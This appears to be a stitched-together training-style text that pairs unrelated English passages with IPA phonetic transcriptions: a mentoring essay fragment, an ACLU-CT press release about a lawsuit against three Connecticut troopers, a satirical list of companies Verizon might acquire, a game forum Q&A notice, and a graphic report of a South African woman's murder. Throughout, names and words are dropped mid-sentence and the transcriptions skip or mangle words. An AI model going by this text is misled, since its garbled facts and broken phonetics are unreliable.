ˈsaɪdbaɪˈsaɪd. aɪ ɪˈvɛnʧəwəli bɪˈkeɪm ˈsəmˌwən hi kʊd teɪk ˈɪntu ˈbætəl wɪθ ɪm ənd dɪˈlɪvər. ɪt həz bɪn 17 jɪrz, ənd hi ɪz wən əv maɪ ˈgreɪtəst ˈʧæmpiənz ənd wɑz ən ˌɪnˈvɛstər ɪn maɪ fərst ˈstɑrˌtəp. bi ˈwɛri əv ðə prəˈfɛʃənəl ˈmɛnˌtɔr. səm ˈpipəl ˈmɛnˌtɔr tɪ pæd ðɛr ˈrɛzəˌmeɪ. wɪn aɪ si ˈpipəl pʊt ɪt ɔn ðɛr baɪoʊ, aɪ krɪnʤ ə ˈlɪtəl. maɪ ˈpərsɪnəl fəˈlɑsəfi meɪ nɑt bi ˈpɑpjələr, bət aɪ fil ə ˈmɛnˌtɔr ʃʊd hɛlp ˈəðərz ənd nɑt traɪ tɪ geɪn ˈɛniˌθɪŋ ˈəðər ðən ˈsərvɪŋ. aɪ ˈrəðər hæv ˈsəmˌwən ɛls kɔl mi ðɛr ˈmɛnˌtɔr, ðən kɔl ˌmaɪˈsɛlf ə ˈmɛnˌtɔr. fər mi nɑt ə ʤɑb ə roʊl aɪ pleɪ ɪn lɪvz. ðə seɪm weɪ wi æd ˈməðər, ˈfɑðər, sən, ˈdɔtər, ˈpəblɪk ˈsərvənt tɪ, aɪ æd ðə ˈtaɪtəl ˈmɛnˌtɔr tɪ. soʊ haʊ du ju gɪt ˈstɑrtɪd ˈfaɪndɪŋ ə ˈʧæmpiən? ju. ə ˈʧæmpiən faɪndz ju. ðeɪ si ðə faɪər ɪn jʊr ˈbɛli ənd ðə dɪˌtərməˈneɪʃən ɪn jʊr aɪz. sin ju pərˈfɔrm, feɪl ənd kip traɪɪŋ. ðeɪ noʊ ðeɪ kən teɪk ə ˈpərsɪnəl rɪsk, bɪˈkəz ðeɪ noʊ ju wɪl nɑt lɛt ðɛm daʊn. ɪn ˈɛvəri ˈsɪŋgəl keɪs wɛr aɪ hæv hæd ə ˈʧæmpiən, ðət ˈpərsən bɪˈlivd ɪn mi lɔŋ ˌbiˈfɔr aɪ ˈɛvər bɪˈlivd ɪn ˌmaɪˈsɛlf. rɪˈleɪtɪd: ˈkoʊʧɪŋ meɪks ɔl ðə ˈdɪfərəns |
suit stems from west hartford incident caught on video camera
hartford in a complaint filed today in the u.s. district court for the district of connecticut, the american civil liberties union of connecticut (aclu-ct) contends that three state police troopers illegally retaliated against a protester by searching and detaining him, confiscating his camera, and charging him with fabricated criminal infractions. on behalf of connecticut resident michael picard, the alleges that john barone, patrick, and john jacobi, all employed by the state police division of department of emergency services and public protection, violated first amendment rights to free speech and information and fourth amendment right against warrantless seizure of his property.
on september 11, 2015, picard was protesting near a police dui checkpoint in west hartford. barone approached him under the pretext of public complaints and confiscated pistol and pistol permit. barone then claimed that filming the police is illegal, and took camera. unbeknownst to the troopers, the camera was recording when barone brought it to cruiser. with the camera rolling, the officers proceeded to: call a hartford police officer to see if he or she had any “grudges” against picard; open an investigation of him in the police database; and discuss a separate protest that he had organized at the state capitol.
after barone announced “we gotta cover our ass,” either or jacobi stated “let’s give him something,” and the three settled on fabricating two criminal infraction tickets that they issued to picard. drove away with camera on top of his cruiser, upon which the camera fell onto the hood of the car, stopped, and jacobi returned the camera to picard. in july of this year, the criminal charges against picard were dismissed in the connecticut superior court.
“police should be focused on public safety, not punishing protesters and those who film public employees working on a public street,” said legal director dan barrett, who is representing picard in the lawsuit. “as the video shows, these police officers were more concerned with thwarting mr. free speech and covering their tracks than upholding the law.”
“community members like me have a right to film government officials doing their jobs in public, and we should be able to protest without fearing political retribution from law enforcement,” said picard. “as an advocate for free speech, deeply disappointed that these police officers ignored my rights, particularly because two of the troopers involved were supervisors who should be setting an example for others. by seeking to hold these three police officers accountable, i hope that i can prevent the same thing from happening to someone else.”
“the evidence clearly shows that these police officers violated mr. rights,” said attorney joseph r. sastre, who defended picard against the criminal charges and is joining barrett to represent picard in the civil case. “we are confident that the court will agree, and we hope that it will send a strong message to police and the public alike that enforcing the law means respecting free speech, not trampling on it.”
the complaint filed in u.s. district court is available below.
for more information about your right to record police in connecticut, download our pocket guide, included below. | sut stɛmz frəm wɛst ˈhɑrtfərd ˈɪnsədənt kɔt ɔn ˈvɪdioʊ ˈkæmərə ˈhɑrtfərd ɪn ə kəmˈpleɪnt faɪld təˈdeɪ ɪn ðə juz. ˈdɪstrɪkt kɔrt fər ðə ˈdɪstrɪkt əv kəˈnɛtəkət, ðə əˈmɛrɪkən ˈsɪvəl ˈlɪbərˌtiz ˈjunjən əv kəˈnɛtəkət (aclu-ct*) kənˈtɛndz ðət θri steɪt pəˈlis ˈtrupərz ˌɪˈligəli rɪˈtæliˌeɪtɪd əˈgɛnst ə ˈproʊˌtɛstər baɪ ˈsərʧɪŋ ənd dɪˈteɪnɪŋ ɪm, ˈkɑnfəˌskeɪtɪŋ hɪz ˈkæmərə, ənd ˈʧɑrʤɪŋ ɪm wɪθ ˈfæbrɪˌkeɪtɪd ˈkrɪmənəl ˌɪnˈfrækʃənz. ɔn bɪˈhæf əv kəˈnɛtəkət ˈrɛzɪdənt ˈmaɪkəl pɪˈkɑrd, ðə əˈlɛʤɪz ðət ʤɑn bəroʊn, ˈpætrɪk, ənd ʤɑn jɑˈkoʊbi, ɔl ɪmˈplɔɪd baɪ ðə steɪt pəˈlis dɪˈvɪʒən əv dɪˈpɑrtmənt əv ˈimərʤənsi ˈsərvɪsɪz ənd ˈpəblɪk prəˈtɛkʃən, ˈvaɪəleɪtɪd fərst əˈmɛndmənt raɪts tɪ fri spiʧ ənd ˌɪnˌfɔrˈmeɪʃən ənd fɔrθ əˈmɛndmənt raɪt əˈgɛnst ˈwɔrəntləs ˈsiʒər əv hɪz ˈprɑpərti. ɔn sɛpˈtɛmbər 11 2015 pɪˈkɑrd wɑz ˈproʊˌtɛstɪŋ nɪr ə pəˈlis ˈdiˈjuˈaɪ ˈʧɛkˌpɔɪnt ɪn wɛst ˈhɑrtfərd. bəroʊn əˈproʊʧt ɪm ˈəndər ðə ˈpriˌtɛkst əv ˈpəblɪk kəmˈpleɪnts ənd ˈkɑnfəˌskeɪtəd ˈpɪstəl ənd ˈpɪstəl ˈpərˌmɪt. bəroʊn ðɛn kleɪmd ðət ˈfɪlmɪŋ ðə pəˈlis ɪz ˌɪˈligəl, ənd tʊk ˈkæmərə. ənbiˈnoʊnst tɪ ðə ˈtrupərz, ðə ˈkæmərə wɑz rɪˈkɔrdɪŋ wɪn bəroʊn brɔt ɪt tɪ ˈkruzər. wɪθ ðə ˈkæmərə ˈroʊlɪŋ, ðə ˈɔfɪsərz prəˈsidəd tɪ: kɔl ə ˈhɑrtfərd pəˈlis ˈɔfɪsər tɪ si ɪf hi ər ʃi hæd ˈɛni ““grudges”*” əˈgɛnst pɪˈkɑrd; ˈoʊpən ən ˌɪnˌvɛstəˈgeɪʃən əv ɪm ɪn ðə pəˈlis ˈdætəˌbeɪs; ənd dɪˈskəs ə ˈsɛpərˌeɪt ˈproʊˌtɛst ðət hi hæd ˈɔrgəˌnaɪzd æt ðə steɪt ˈkæpɪtəl. ˈæftər bəroʊn əˈnaʊnst ˈgɑtə ˈkəvər ɑr ass,”*,” ˈiðər ər jɑˈkoʊbi ˈsteɪtɪd gɪv ɪm something,”*,” ənd ðə θri ˈsɛtəld ɔn ˈfæbrɪˌkeɪtɪŋ tu ˈkrɪmənəl ˌɪnˈfrækʃən ˈtɪkɪts ðət ðeɪ ˈɪʃud tɪ pɪˈkɑrd. droʊv əˈweɪ wɪθ ˈkæmərə ɔn tɔp əv hɪz ˈkruzər, əˈpɑn wɪʧ ðə ˈkæmərə fɛl ˈɔntu ðə hʊd əv ðə kɑr, stɑpt, ənd jɑˈkoʊbi rɪˈtərnd ðə ˈkæmərə tɪ pɪˈkɑrd. ɪn ˌʤuˈlaɪ əv ðɪs jɪr, ðə ˈkrɪmənəl ˈʧɑrʤɪz əˈgɛnst pɪˈkɑrd wər dɪsˈmɪst ɪn ðə kəˈnɛtəkət suˈpɪriər kɔrt. ʃʊd bi ˈfoʊkɪst ɔn ˈpəblɪk ˈseɪfti, nɑt ˈpənɪʃɪŋ ˈproʊˌtɛstərz ənd ðoʊz hu fɪlm ˈpəblɪk ɪmˈplɔɪiz ˈwərkɪŋ ɔn ə ˈpəblɪk street,”*,” sɛd ˈligəl dɪˈrɛktər dæn ˈbɛrɪt, hu ɪz ˌrɛprɪˈzɛnɪŋ pɪˈkɑrd ɪn ðə ˈlɔˌsut. ðə ˈvɪdioʊ ʃoʊz, ðiz pəˈlis ˈɔfɪsərz wər mɔr kənˈsərnd wɪθ θˈwɔrtɪŋ ˈmɪstər. fri spiʧ ənd ˈkəvərɪŋ ðɛr træks ðən əˈphoʊldɪŋ ðə law.”*.” ˈmɛmbərz laɪk mi hæv ə raɪt tɪ fɪlm ˈgəvərnmənt əˈfɪʃəlz duɪŋ ðɛr ʤɑbz ɪn ˈpəblɪk, ənd wi ʃʊd bi ˈeɪbəl tɪ ˈproʊˌtɛst wɪˈθaʊt ˈfɪrɪŋ pəˈlɪtɪkəl ˌrɛtrəˈbjuʃən frəm lɔ enforcement,”*,” sɛd pɪˈkɑrd. ən ˈædvəˌkeɪt fər fri spiʧ, ˈdipli ˌdɪsəˈpɔɪnɪd ðət ðiz pəˈlis ˈɔfɪsərz ˌɪgˈnɔrd maɪ raɪts, ˌpɑrˈtɪkjələrli bɪˈkəz tu əv ðə ˈtrupərz ˌɪnˈvɑlvd wər ˌsupərˈvaɪzərz hu ʃʊd bi ˈsɛtɪŋ ən ɪgˈzæmpəl fər ˈəðərz. baɪ ˈsikɪŋ tɪ hoʊld ðiz θri pəˈlis ˈɔfɪsərz əˈkaʊntəbəl, aɪ hoʊp ðət aɪ kən prɪˈvɛnt ðə seɪm θɪŋ frəm ˈhæpənɪŋ tɪ ˈsəmˌwən else.”*.” ˈɛvədəns ˈklɪrli ʃoʊz ðət ðiz pəˈlis ˈɔfɪsərz ˈvaɪəleɪtɪd ˈmɪstər. rights,”*,” sɛd əˈtərni ˈʤoʊzəf ɑr. sastre*, hu dɪˈfɛndɪd pɪˈkɑrd əˈgɛnst ðə ˈkrɪmənəl ˈʧɑrʤɪz ənd ɪz ˈʤɔɪnɪŋ ˈbɛrɪt tɪ ˌrɛprɪˈzɛnt pɪˈkɑrd ɪn ðə ˈsɪvəl keɪs. ər ˈkɑnfədənt ðət ðə kɔrt wɪl əˈgri, ənd wi hoʊp ðət ɪt wɪl sɛnd ə strɔŋ ˈmɛsɪʤ tɪ pəˈlis ənd ðə ˈpəblɪk əˈlaɪk ðət ɛnˈfɔrsɪŋ ðə lɔ minz riˈspɛktɪŋ fri spiʧ, nɑt ˈtræmplɪŋ ɔn it.”*.” ðə kəmˈpleɪnt faɪld ɪn juz. ˈdɪstrɪkt kɔrt ɪz əˈveɪləbəl bɪˈloʊ. fər mɔr ˌɪnˌfɔrˈmeɪʃən əˈbaʊt jʊr raɪt tɪ ˈrɛkərd pəˈlis ɪn kəˈnɛtəkət, ˈdaʊnˌloʊd ɑr ˈpɑkət gaɪd, ˌɪnˈkludɪd bɪˈloʊ. |
in the second season of horseman, revealed that the pop culture magazine manatee fair (get it?) is owned by a sprawling media conglomerate called joe’s. in the real world, this company goes by a simpler name: verizon.
the wireless carrier was the winner in the contest to finally put yahoo out of its misery, acquiring the fading internet giant for $4.8 billion. on the one hand, paying billions of dollars for yahoo in 2016 sounds about as as buying aol for $4.4 billion (which verizon also did, but get to that). the only person who still uses yahoo email is your mom because you set up an account for her in 2002, right? yahoo answers is an elaborate piece of performance art about the amorphous nature of truth in the digital age, right? died off two ago right?
actually, for all its failings, yahoo is still one of the biggest internet companies in the world, a member of the vaunted club with facebook and google (though claim is a bit of a cheat as it together users of a variety of products). attracts more visitors than wikipedia, twitter, and reddit, according to alexa. the company also claims 600 million mobile monthly users.
that level of scale is highly enticing to verizon, which in recent years has made a bold pivot to create compelling internet content for the generation (here is a strange list of properties verizon now at least partially owns: the huffington post, complex media, millennial media, techcrunch, tumblr, awesomenesstv, flickr, rivals.com, katie couric). with adoption reaching a saturation point in the united states and growth screeching to a halt, the telco giant is looking for new revenue sources. and pretty much no better way to create the illusion of growth in 2016 than by publishing ungodly amounts of content.
with yahoo (theoretically) continuing to attract a massive number of eyeballs, verizon will make money on those visitors thanks to its purchase of aol and a invention called “programmatic technology.” basically, aol gives verizon the ability to serve lots and lots of targeted ads on lots and lots of web pages. like spirited no-face, there may be no the telco now that gotten a taste for content content, in particular. so, verizon going to snatch up for its web revolution next?
iac/interactive corp
the media company has been collecting flotsam for the better part of a decade. bought the search engine ask jeeves (now ask.com) for $1.85 billion in 2005. later, it spent $300 million on about.com, the most popular website for researching new resolutions. acquiring two stalwart relics with a single acquisition would be a boon verizon would be like the kid who got red and blue for christmas.
in addition to precious content, this deal would give verizon ownership of tinder, okcupid, and match.com, which (prepare for disillusionment) are all owned by. not totally clear how much synergy could be built among dating apps and other properties, but where a corporate will, a way maybe serve up dating tips after a user strikes out on a dozen right swipes.
cost:’s market cap is $4.8 billion, so round up to a cool $5 billion.
mapquest
of the hundreds of companies felled by ascendance, is one of the easiest to root for. the company began as a firm in the that issued free maps at gas stations, and later launched the free online service in 1996. in its heyday, was one of the most useful services online, reducing the psychological warfare waged between road trip drivers and navigators by at least half. a modernized, mobile could be a useful place for verizon to sell ads.
cost: free! aol actually bought for $1.1 billion in 2000, which means verizon acquired it during last aol acquisition. chances are the service has been relegated to the same junk drawer as internet customers, though, so verizon could dust the brand off and give a solid go of competing with google and apple.
legacy.com
we all know that the digital world revolves around the coveted demographic, but there are plenty of other age groups out there waiting to be monetized. enter. the obituary website attracts 40 million visitors worldwide per month to read for both loved ones and celebrities like muhammad ali.
verizon owning an obituary service is no more or less arbitrary than verizon now owning rivals.com. so why not? we here at the ringer are already prepared to license one timely obit to the website.
cost: bloomberg reports’s annual revenue at as much as $100 million, so somewhere north of that.
neopets
internet denizens of a certain age have all had this stray thought at some point or another, which they are careful to never probe too deeply: why the fuck was i so into for like two months? the website, launched in 1999, allowed kids to raise virtual pets and earn digital currency by playing flash games. there much of a point to it besides the satisfaction of seeing a animal on a screen feign happiness. maybe is what primed us to get a dopamine rush from facebook likes.
if go is any indication, are more than willing to grab hold of any nostalgic life raft in a sea of political and social upheaval. put the in a game. give them a youtube show. infiltrate the tween networks on tumblr and pass the game off as the new, hip thing. the animals are cuddly, addictive, and faintly unsettling, which makes them perfectly primed for a 2016 resurgence.
cost: our last hope of remaining socially and politically engaged in these trying times. | ɪn ðə ˈsɛkənd ˈsizən əv ˈhɔrsmən, rɪˈvild ðət ðə pɑp ˈkəlʧər ˈmægəˌzin ˈmænəˌti fɛr (gɪt ɪt?) ɪz oʊnd baɪ ə ˈsprɔlɪŋ ˈmidiə kənˈglɑmərət kɔld joe’s*. ɪn ðə ril wərld, ðɪs ˈkəmpəˌni goʊz baɪ ə ˈsɪmpələr neɪm: ˌvɛˈraɪzən. ðə ˈwaɪrlɪs ˈkɛriər wɑz ðə ˈwɪnər ɪn ðə ˈkɑntɛst tɪ ˈfaɪnəli pʊt ˈjɑˌhu aʊt əv ɪts ˈmɪzəri, əkˈwaɪərɪŋ ðə ˈfeɪdɪŋ ˈɪntərˌnɛt ʤaɪənt fər ˈbɪljən. ɔn ðə wən hænd, peɪɪŋ ˈbɪljənz əv ˈdɔlərz fər ˈjɑˌhu ɪn 2016 saʊnz əˈbaʊt ɛz ɛz baɪɪŋ əˈmərɪkəˈɑnˌlaɪn fər ˈbɪljən (wɪʧ ˌvɛˈraɪzən ˈɔlsoʊ dɪd, bət gɪt tɪ ðət). ðə ˈoʊnli ˈpərsən hu stɪl ˈjuzɪz ˈjɑˌhu iˈmeɪl ɪz jʊr mɑm bɪˈkəz ju sɛt əp ən əˈkaʊnt fər hər ɪn 2002 raɪt? ˈjɑˌhu ˈænsərz ɪz ən ɪˈlæbərˌeɪt pis əv pərˈfɔrməns ɑrt əˈbaʊt ðə əˈmɔrfəs ˈneɪʧər əv truθ ɪn ðə ˈdɪʤɪtəl eɪʤ, raɪt? daɪd ɔf tu əˈgoʊ raɪt? ˈæˌkʧuəli, fər ɔl ɪts ˈfeɪlɪŋz, ˈjɑˌhu ɪz stɪl wən əv ðə ˈbɪgəst ˈɪntərˌnɛt ˈkəmpəˌniz ɪn ðə wərld, ə ˈmɛmbər əv ðə ˈvɔntɪd kləb wɪθ ˈfeɪsˌbʊk ənd ˈgugəl (ðoʊ kleɪm ɪz ə bɪt əv ə ʧit ɛz ɪt təˈgɛðər ˈjuzərz əv ə vərˈaɪəti əv ˈprɑdəkts). əˈtrækts mɔr ˈvɪzɪtərz ðən ˈwɪkiˌpiˌdiə, tˈwɪtər, ənd reddit*, əˈkɔrdɪŋ tɪ əˈlɛksə. ðə ˈkəmpəˌni ˈɔlsoʊ kleɪmz 600 ˈmɪljən ˈmoʊbəl ˈmənθli ˈjuzərz. ðət ˈlɛvəl əv skeɪl ɪz ˈhaɪli ɛnˈtaɪsɪŋ tɪ ˌvɛˈraɪzən, wɪʧ ɪn ˈrisənt jɪrz həz meɪd ə boʊld ˈpɪvət tɪ kriˈeɪt kəmˈpɛlɪŋ ˈɪntərˌnɛt ˈkɑntɛnt fər ðə ˌʤɛnərˈeɪʃən (hir ɪz ə streɪnʤ lɪst əv ˈprɑpərtiz ˌvɛˈraɪzən naʊ æt list ˈpɑrʃəli oʊnz: ðə ˈhəfɪŋtən poʊst, ˈkɑmplɛks ˈmidiə, mɪˈlɛniəl ˈmidiə, techcrunch*, ˈtəmblər, awesomenesstv*, ˈflɪkər, rivals.com*, ˈkeɪti ˈkɔrɪk). wɪθ əˈdɑpʃən ˈriʧɪŋ ə ˌsæʧərˈeɪʃən pɔɪnt ɪn ðə juˈnaɪtɪd steɪts ənd groʊθ ˈskriʧɪŋ tɪ ə hɔlt, ðə ˈtɛlkoʊ ʤaɪənt ɪz ˈlʊkɪŋ fər nu ˈrɛvəˌnu ˈsɔrsəz. ənd ˈprɪti məʧ noʊ ˈbɛtər weɪ tɪ kriˈeɪt ðə ˌɪˈluʒən əv groʊθ ɪn 2016 ðən baɪ ˈpəblɪʃɪŋ ənˈgɔdli əˈmaʊnts əv ˈkɑntɛnt. wɪθ ˈjɑˌhu (ˌθiərˈɛtɪkəli) kənˈtɪnjuɪŋ tɪ əˈtrækt ə ˈmæsɪv ˈnəmbər əv ˈaɪˌbɔlz, ˌvɛˈraɪzən wɪl meɪk ˈməni ɔn ðoʊz ˈvɪzɪtərz θæŋks tɪ ɪts ˈpərʧəs əv əˈmərɪkəˈɑnˌlaɪn ənd ə ˌɪnˈvɛnʃən kɔld technology.”*.” ˈbeɪsɪkli, əˈmərɪkəˈɑnˌlaɪn gɪvz ˌvɛˈraɪzən ðə əˈbɪləˌti tɪ sərv lɑts ənd lɑts əv ˈtɑrgətɪd ædz ɔn lɑts ənd lɑts əv wɛb ˈpeɪʤɪz. laɪk ˈspɪrɪtəd no-face*, ðɛr meɪ bi noʊ ðə ˈtɛlkoʊ naʊ ðət ˈgɔtən ə teɪst fər ˈkɑntɛnt ˈkɑntɛnt, ɪn ˌpɑˈtɪkjələr. soʊ, ˌvɛˈraɪzən goʊɪŋ tɪ snæʧ əp fər ɪts wɛb ˌrɛvəˈluʃən nɛkst? ˈkɔrpərˈeɪʃən ðə ˈmidiə ˈkəmpəˌni həz bɪn kəˈlɛktɪŋ ˈflɑtsəm fər ðə ˈbɛtər pɑrt əv ə ˈdɛkeɪd. bɔt ðə sərʧ ˈɪnʤən æsk ʤivz (naʊ ask.com*) fər ˈbɪljən ɪn 2005 ˈleɪtər, ɪt spɛnt 300 ˈmɪljən ɔn about.com*, ðə moʊst ˈpɑpjələr ˈwɛbˌsaɪt fər riˈsərʧɪŋ nu ˌrɛzəˈluʃənz. əkˈwaɪərɪŋ tu ˈstɔlwərt ˈrɛlɪks wɪθ ə ˈsɪŋgəl ˌækwəˈzɪʃən wʊd bi ə bun ˌvɛˈraɪzən wʊd bi laɪk ðə kɪd hu gɑt rɛd ənd blu fər ˈkrɪsməs ɪn əˈdɪʃən tɪ ˈprɛʃəs ˈkɑntɛnt, ðɪs dil wʊd gɪv ˌvɛˈraɪzən ˈoʊnərˌʃɪp əv ˈtɪndər, okcupid*, ənd match.com*, wɪʧ (priˈpɛr fər ˌdɪsɪˈluʒənmənt) ər ɔl oʊnd baɪ. nɑt ˈtoʊtəli klɪr haʊ məʧ ˈsɪnərʤi kʊd bi bɪlt əˈməŋ ˈdeɪtɪŋ æps ənd ˈəðər ˈprɑpərtiz, bət wɛr ə ˈkɔrpərət wɪl, ə weɪ ˈmeɪbi sərv əp ˈdeɪtɪŋ tɪps ˈæftər ə ˈjuzər straɪks aʊt ɔn ə ˈdəzən raɪt swaɪps. kɔst: ˈmɑrkɪt kæp ɪz ˈbɪljən, soʊ raʊnd əp tɪ ə kul 5 ˈbɪljən. əv ðə ˈhənərdz əv ˈkəmpəˌniz fɛld baɪ əˈsɛndəns, ɪz wən əv ðə ˈiziəst tɪ rut fər. ðə ˈkəmpəˌni bɪˈgæn ɛz ə fərm ɪn ðə ðət ˈɪʃud fri mæps æt gæs ˈsteɪʃənz, ənd ˈleɪtər lɔnʧt ðə fri ˈɔnˌlaɪn ˈsərvɪs ɪn 1996 ɪn ɪts ˈheɪˌdeɪ, wɑz wən əv ðə moʊst ˈjusfəl ˈsərvɪsɪz ˈɔnˌlaɪn, rɪˈdusɪŋ ðə ˌsaɪkəˈlɑʤɪkəl ˈwɔrˌfɛr weɪʤd bɪtˈwin roʊd trɪp ˈdraɪvərz ənd ˈnævəˌgeɪtərz baɪ æt list hæf. ə ˈmɑdərˌnaɪzd, ˈmoʊbəl kʊd bi ə ˈjusfəl pleɪs fər ˌvɛˈraɪzən tɪ sɛl ædz. kɔst: fri! əˈmərɪkəˈɑnˌlaɪn ˈæˌkʧuəli bɔt fər ˈbɪljən ɪn 2000 wɪʧ minz ˌvɛˈraɪzən əkˈwaɪərd ɪt ˈdʊrɪŋ læst əˈmərɪkəˈɑnˌlaɪn ˌækwəˈzɪʃən. ˈʧænsɪz ər ðə ˈsərvɪs həz bɪn ˈrɛləˌgeɪtɪd tɪ ðə seɪm ʤəŋk drɔr ɛz ˈɪntərˌnɛt ˈkəstəmərz, ðoʊ, soʊ ˌvɛˈraɪzən kʊd dəst ðə brænd ɔf ənd gɪv ə ˈsɑləd goʊ əv kəmˈpitɪŋ wɪθ ˈgugəl ənd ˈæpəl. wi ɔl noʊ ðət ðə ˈdɪʤɪtəl wərld riˈvɑlvz əraʊnd ðə ˈkəvətɪd ˌdɛməˈgræfɪk, bət ðɛr ər ˈplɛnti əv ˈəðər eɪʤ grups aʊt ðɛr ˈweɪtɪŋ tɪ bi monetized*. ˈɛnər. ðə oʊˈbɪʧuˌɛri ˈwɛbˌsaɪt əˈtrækts 40 ˈmɪljən ˈvɪzɪtərz ˈwərldˈwaɪd pər mənθ tɪ rɛd fər boʊθ ləvd wənz ənd səˈlɛbrɪtiz laɪk mʊˈhɑməd ˈɑli. ˌvɛˈraɪzən ˈoʊnɪŋ ən oʊˈbɪʧuˌɛri ˈsərvɪs ɪz noʊ mɔr ər lɛs ˈɑrbɪˌtrɛri ðən ˌvɛˈraɪzən naʊ ˈoʊnɪŋ rivals.com*. soʊ waɪ nɑt? wi hir æt ðə ˈrɪŋər ər ɔˈrɛdi priˈpɛrd tɪ ˈlaɪsəns wən ˈtaɪmli ˈoʊbɪt tɪ ðə ˈwɛbˌsaɪt. kɔst: ˈblumbərg rɪˈpɔrts ˈænjuəl ˈrɛvəˌnu æt ɛz məʧ ɛz 100 ˈmɪljən, soʊ ˈsəmˌwɛr nɔrθ əv ðət. ˈɪntərˌnɛt ˈdɛnəzənz əv ə ˈsərtən eɪʤ hæv ɔl hæd ðɪs streɪ θɔt æt səm pɔɪnt ər əˈnəðər, wɪʧ ðeɪ ər ˈkɛrfəl tɪ ˈnɛvər proʊb tu ˈdipli: waɪ ðə fək wɑz aɪ soʊ ˈɪntu fər laɪk tu mənθs? ðə ˈwɛbˌsaɪt, lɔnʧt ɪn 1999 əˈlaʊd kɪdz tɪ reɪz ˈvərʧuəl pɛts ənd ərn ˈdɪʤɪtəl ˈkərənsi baɪ pleɪɪŋ flæʃ geɪmz. ðɛr məʧ əv ə pɔɪnt tɪ ɪt ˌbiˈsaɪdz ðə ˌsætɪsˈfækʃən əv siɪŋ ə ˈænəməl ɔn ə skrin feɪn ˈhæpinəs. ˈmeɪbi ɪz wət praɪmd ˈjuˈɛs tɪ gɪt ə ˈdɑpəˌmaɪn rəʃ frəm ˈfeɪsˌbʊk laɪks. ɪf goʊ ɪz ˈɛni ˌɪndəˈkeɪʃən, ər mɔr ðən ˈwɪlɪŋ tɪ græb hoʊld əv ˈɛni nɔˈstælʤɪk laɪf ræft ɪn ə si əv pəˈlɪtɪkəl ənd ˈsoʊʃəl əˈphivəl. pʊt ðə ɪn ə geɪm. gɪv ðɛm ə ˈjuˌtub ʃoʊ. ˈɪnfɪlˌtreɪt ðə twin ˈnɛtˌwərks ɔn ˈtəmblər ənd pæs ðə geɪm ɔf ɛz ðə nu, hɪp θɪŋ. ðə ˈænəməlz ər ˈkədli, əˈdɪktɪv, ənd ˈfeɪntli ənˈsɛtəlɪŋ, wɪʧ meɪks ðɛm ˈpərfəktli praɪmd fər ə 2016 riˈsərʤəns. kɔst: ɑr læst hoʊp əv rɪˈmeɪnɪŋ ˈsoʊʃəli ənd ˈplɪtɪkli ɪnˈgeɪʤd ɪn ðiz traɪɪŋ taɪmz. |
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stream is tomorrow @2pm please no bug reports, or bug related questions -- bug reports can be posted at the bug report sub will be one of the first things will time is upon us once again. they want this to be a great game for everyone and they appreciate the time you take out of your gaming to report the issues and give your thoughts as to how the game can be weekly stream has continued to increase in popularity. in order for the to be able to answer as many questions as possible we are going to have this thread where you can ask your questions before hand. it will be locked at est on thursday so the have time to compile them order to keep things as streamlined as possible, only posts with questions will be allowed in the thread, all other posts will be removed. any duplicate questions and troll posts will also be removed. ex: “what you fix your game?’ the want to be as open as they can be in regards to the game and the things they are working on and the issues at hand. try to make your questions succinct and and see you at the stream tomorrow @2pm | q&a* strim 12 səbˈmɪt jʊr kˈwɛsʧənz hir bəgz du nɑt goʊ hir ʤuk spɑts strim ɪz təˈmɑˌroʊ pliz noʊ bəg rɪˈpɔrts, ər bəg rɪˈleɪtɪd kˈwɛsʧənz bəg rɪˈpɔrts kən bi ˈpoʊstɪd æt ðə bəg rɪˈpɔrt səb wɪl bi wən əv ðə fərst θɪŋz wɪl taɪm ɪz əˈpɑn ˈjuˈɛs wəns əˈgɛn. ðeɪ wɔnt ðɪs tɪ bi ə greɪt geɪm fər ˈɛvriˌwən ənd ðeɪ əˈpriʃiˌeɪt ðə taɪm ju teɪk aʊt əv jʊr ˈgeɪmɪŋ tɪ rɪˈpɔrt ðə ˈɪʃuz ənd gɪv jʊr θɔts ɛz tɪ haʊ ðə geɪm kən bi ˈwikli strim həz kənˈtɪnjud tɪ ˌɪnˈkris ɪn ˌpɑpjəˈlɛrəti. ɪn ˈɔrdər fər ðə tɪ bi ˈeɪbəl tɪ ˈænsər ɛz ˈmɛni kˈwɛsʧənz ɛz ˈpɑsəbəl wi ər goʊɪŋ tɪ hæv ðɪs θrɛd wɛr ju kən æsk jʊr kˈwɛsʧənz ˌbiˈfɔr hænd. ɪt wɪl bi lɑkt æt ɛst ɔn ˈθərzˌdeɪ soʊ ðə hæv taɪm tɪ kəmˈpaɪl ðɛm ˈɔrdər tɪ kip θɪŋz ɛz ˈstrimˌlaɪnd ɛz ˈpɑsəbəl, ˈoʊnli poʊsts wɪθ kˈwɛsʧənz wɪl bi əˈlaʊd ɪn ðə θrɛd, ɔl ˈəðər poʊsts wɪl bi riˈmuvd. ˈɛni ˈdupləˌkeɪt kˈwɛsʧənz ənd troʊl poʊsts wɪl ˈɔlsoʊ bi riˈmuvd. ɛks: ju fɪks jʊr game?’*?’ ðə wɔnt tɪ bi ɛz ˈoʊpən ɛz ðeɪ kən bi ɪn rɪˈgɑrdz tɪ ðə geɪm ənd ðə θɪŋz ðeɪ ər ˈwərkɪŋ ɔn ənd ðə ˈɪʃuz æt hænd. traɪ tɪ meɪk jʊr kˈwɛsʧənz səkˈsɪŋkt ənd ənd si ju æt ðə strim təˈmɑˌroʊ |
a south african mother of three was stabbed 21 times and had her eyes gouged out in a home invasion robbery that police said was the crime ever seen, according to published reports.
the nude body of tanya wiers, 45, was discovered inside her bedroom in polokwane, about 150 miles north of pretoria, after her teenage son, rolf, had returned home from school feb. 9, the review reported.
she had suffered stab wounds to her neck and under her chin and her eyes had been cut out with a knife, the newspaper said. she also had numerous defensive wounds.
“i went into the house, thinking she might have died from a heart attack. what i saw was like something out of a horror movie,” a family friend later told review.
“she was lying in her youngest room covered by a beside the bed. it was clear that there had been a struggle as the bed was not where it used to be in the room,” said the friend, who requested anonymity.
“tanya’s clothing was lying in front of the closet in her and her room. the closet doors were still open and it is evident someone had searched through,” the friend said.
one of the suspects, frans maela, 25, was arrested later that day and charged with her murder after police found wiers’ stolen property in his possession. it was unclear what he had taken.
more arrests were expected in the coming days.
“this is the most gruesome thing ever seen. i think that there will ever be anything worse. it was evident that the victim put up the fight of her life, there was so much blood and her defensive wounds tell their own horrifying story,” a police spokesperson, brig. mojapelo, told review.
